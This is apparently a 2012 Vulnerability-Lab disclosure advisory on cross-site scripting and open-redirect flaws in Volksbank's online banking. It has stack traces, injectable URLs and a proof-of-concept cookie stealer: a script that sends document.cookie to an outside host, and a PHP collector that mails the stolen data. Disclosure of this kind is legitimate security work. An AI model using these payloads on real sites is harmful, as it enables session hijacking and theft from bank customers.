Title:
======
VolksBank Online Banking - Multiple Web Vulnerabilities

Date:
=====
2012-02-07


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=172


VL-ID:
=====
172


Introduction:
=============
Die Volksbank AG trifft eine Reihe von Sicherheitsvorkehrungen, die einen 
wirksamen Schutz gegen Angriffe 
bei der Übertragung der Daten oder der Verarbeitung auf dem Bankenserver 
bieten. Treffen auch Sie Vorkehrungen 
zum Schutz vor unberechtigten Manipulationen oder Eingriffen von Dritten und 
melden Sie uns auffällige Mails.
Geben Sie auf der folgenden Seite als Verfügernummer eine beliebige Zahl ein 
und klicken Sie anschließend auf 
LOGINum die Demo-Version zu starten. 

(Copy of the Vendor Homepage: 
https://www.banking.co.at/appl/ebp/login.html?resource=074&demo=true)


Abstract:
=========
An anonymous Vulnerability Lab Researcher discovered multiple Web 
Vulnerabilities in the online-banking system of volksbank.


Report-Timeline:
================
2011-07-03:     Vendor Notification 1
2011-08-25:     Vendor Notification 2
2011-11-17:     Vendor Notification 3
2012-01-09:     Vendor Notification 4
2011-**-**:     Vendor Response/Feedback
2011-**-**:     Vendor Fix/Patch
2011-02-07:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
Multiple Input Validation vulnerabilities are detected on hte volksbank portal 
& banking website.
Remote attackers can include malicious persistent script-codes on application 
side of the vulnerable affected modules.
The vulnerability allows an attacker also to hijack not expired customers 
sessions.

Vulnerable Module(s):
                                                [+] Vorlagen Name
                                                [+] Exception Handling
                                                [+] Vorlagen Gruppen Name
                                                [+] Default ASPX

--- Exception Logs ---
Error Page Exception
SRVE0260E: The server cannot use the error page specified for your application 
to handle the Original Exception printed below.

Original Exception:
Error Message: SRVE0295E: Error reported: 400
Error Code: 400
Target Servlet: /zib/de/include/search_ergebnisn.jsp
Error Stack:
com.ibm.ws.webcontainer.webapp.WebAppErrorReport: SRVE0295E: Error reported: 400
     at java.lang.Throwable.(Throwable.java:67)
     at javax.servlet.ServletException.(ServletException.java:72)
     at 
com.ibm.websphere.servlet.error.ServletErrorReport.(ServletErrorReport.java:67)
     at 
com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:600)
     at 
com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
     at 
com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
     at 
at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
     at 
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at 
at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
     at 
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at 
com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at 
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
     at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
     at 
com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
     at 
com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
     at 
com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
     at 
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
     at 
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
     at 
com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
     at 
com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
     at 
com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
     at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
     at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
     at 
com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
     at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
     at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563)
    


Error Page Exception:
Error Message: java.lang.NumberFormatException: For input string: <INCLUDE 
PERSISTENT MALICIOUS SCRIPTCODE HERE!>
Error Code: 0
Target Servlet: null
Error Stack:
java.lang.NumberFormatException: For input string: <INCLUDE PERSISTENT 
MALICIOUS SCRIPTCODE HERE!>
     at java.lang.Throwable.<init>(Throwable.java:67)
     at 
java.lang.NumberFormatException.forInputString(NumberFormatException.java:60)
     at java.lang.Integer.parseInt(Integer.java:470)
     at java.lang.Integer.parseInt(Integer.java:511)
     at 
com.ibm._jsp._navigation_5F_oben._jspService(_navigation_5F_oben.java:184)
     at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
     at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at 
com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at 
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at 
com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.include(WebAppRequestDispatcher.java:673)
     at 
org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1045)
     at 
org.apache.jasper.runtime.JspRuntimeLibrary.include(JspRuntimeLibrary.java:1006)
     at com.ibm._jsp._error_5F_400._jspService(_error_5F_400.java:256)
     at com.ibm.ws.jsp.runtime.HttpJspBase.service(HttpJspBase.java:99)
     at javax.servlet.http.HttpServlet.service(HttpServlet.java:831)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1657)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1597)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:104)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at 
com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at 
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at 
com.ibm.ws.webcontainer.webapp.WebAppRequestDispatcher.forward(WebAppRequestDispatcher.java:341)
     at com.ibm.ws.webcontainer.webapp.WebApp.sendError(WebApp.java:3262)
     at 
com.ibm.ws.webcontainer.webapp.WebAppDispatcherContext.sendError(WebAppDispatcherContext.java:645)
     at 
com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1180)
     at 
com.ibm.ws.webcontainer.srt.SRTServletResponse.sendError(SRTServletResponse.java:1162)
     at 
at.co.arz.cms.hk010.volksbank.filter.ParameterValidationFilter.doFilter(ParameterValidationFilter.java:67)
     at 
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at 
at.co.arz.cms.hk010.volksbank.filter.DomainBranchValidationFilter.doFilter(DomainBranchValidationFilter.java:124)
     at 
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:188)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:116)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:77)
     at 
com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:908)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:934)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:502)
     at 
com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:179)
     at 
com.ibm.wsspi.webcontainer.servlet.GenericServletWrapper.handleRequest(GenericServletWrapper.java:121)
     at 
com.ibm.ws.jsp.webcontainerext.AbstractJSPExtensionServletWrapper.handleRequest(AbstractJSPExtensionServletWrapper.java:241)
     at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3826)
     at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:276)
     at 
com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:931)
     at 
com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1583)
     at 
com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:186)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:445)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:504)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:301)
     at 
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:275)
     at 
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214)
     at 
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113)
     at 
com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)
     at 
com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)
     at 
com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)
     at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:138)
     at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:204)
     at 
com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:775)
     at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:905)
     at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1563) 


Picture(s):
                        ../volksbank.com.png
                        ../volksbank.com2.png


1.2
Multiple Input Validation vulnerabilites are detected on client-side of the 
volksbank portal & banking website.
Remote attackers can hijack customer sessions/cookies via cross site scripting 
with high required user inter action.

Vulnerable Module(s):
                                                [+] Search

Picture(s):
                                                ../volksbank.com3.png
                                                ../volksbank.com4.png
                                                ../volksbank.com5.png


1.3
A redirection vulnerability allows an attacker to redirect the website or 
implement phishing routines via ?url request on client-side.


Vulnerable Module(s):
                                                [+] Kurse & Banking
                                                [+] IPO News Index

Picture(s):
                                                ../volksbank.com6.png
                                                ../volksbank.com7.png


Proof of Concept:
=================
The vulnerabilites can be exploited by remote attackers or local privileged 
user accounts. For demonstration or reproduce ...

1.2 Server-Side
https://www.banking.co.at/appl/ebp/vorlage/erstellenaaueb.html[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen_update.html?vorlgrpid=1&jsStat=disabled[IVE]
https://www.banking.co.at/appl/ebp/vorlage/verwaltung/gruppen.html[IVE]
http://kurse.banking.co.at/volksbank/default.aspx?action=securityDetails&id=tts-5234010&menuId=1&pathName=[IVE]&lang=de&showMainOnly=yes
http://kurse.banking.co.at/volksbank/Default.aspx?action=chartDetail&id=tts-

5234010&type=javaChart&menuId=1&lang=de&showMainOnly=yes&pathName=[IVE]HERE%20CAN%20YOU%20INCLUDE%20ANYTHING!!!
http://kurse.banking.co.at/volksbank/default.aspx?action=iframe&ifheight=600&menuId=15&lang=de[IVE]


1.2 Client-Side
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
http://www.volksbank.com/m101/volksbank/zib/de/include/search_ergebnisn.jsp?menu1=-1&locincl=/m101_oevag&loclink=[IVE]
http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=[IVE]
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=6&menu1name=%22%3E%3Ciframe%20src=http://global-evolution.info/

%20height=800%20width=800%3E&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=AGAIN&menu2link=/de/modul/kurse_maerkte.jsp?

seite=6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=templatedata/vb_modul/kurse_maer

kte/data/de/kurse_maerkte&thisjsp=/de/modul/kurse_maerkte&bc=navi&seite=6&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte
https://www.banking.co.at/appl/ebp/karten/umsatzuebersicht.html?reqAttrCreditCardNumber=[IVE]


1.3 Redirection Vulnerabilities
http://kurse.banking.co.at/volksbank/default.asp?url=global-evolution.info/evil-file.html
http://kurse.banking.co.at/volksbank/default.asp?menu1=5&menu2=1&menu3=6&menu1name=B%F6rsen+%26+M

%E4rkte&menu1link=/de/modul/kurse_maerkte.jsp&menu2name=M%E4rkte%2FIndizes&menu2link=/de/modul/kurse_maerkte.jsp?seite=1&menu3name=IPO-

News&menu3link=/de/modul/kurse_maerkte.jsp?

seite=1_6&branch=m101_oevag&language=de&loclink=/m101/volksbank/m101_oevag&locincl=/m101_oevag&stage=p&dcr_name=&thisjsp=/de/modul/kurse_maerk

te.jsp?seite=1_6&bc=nutchsearch&seite=12&url=www.volksbank.com&titel=Volksbank+AG+-+B%F6rsen+%26+M%E4rkte&iframeUrl=http://global-

evolution.info/evil-file.html


----
script.js
location.href='http://www.volksbank.com/m101/volksbank/zib/de/individuelle_seite/regionale_Inhalte/private_ibanking/ibk.jsp?locincl=

%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)

grep.php
<?
$cookie = $_GET['nice'];
$ip = getenv("REMOTE_ADDR");
$Time = date("l dS of F Y h:i:s A"); 
$msg = "Cookie: $cookie\nIP Address: $ip\Time: $Time";
$subject = "cookie";
mail("tes...@bad-server.com", $subject, $msg);
header ("location: http://www.volksbank.com/";);
?>


Risk:
=====
1.1
The security risk of the persistent vulnerabilities are estimated as high(-) 
because of low required user inter action.

1.2
The security risk of the non-persistent vulnerabilities are estimated as 
medium(-) because of high required user inter action.

1.3
The security risk of the redirect vulnerability is estimated as low.


Credits:
========
Vulnerability Research Laboratory  -  N/A Anonymous


Disclaimer:
===========
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and 
capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, 
indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have 
been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential 
or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, 
of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified 
form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 
2012|Vulnerability-Lab




-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: ad...@vulnerability-lab.com or supp...@vulnerability-lab.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Reply via email to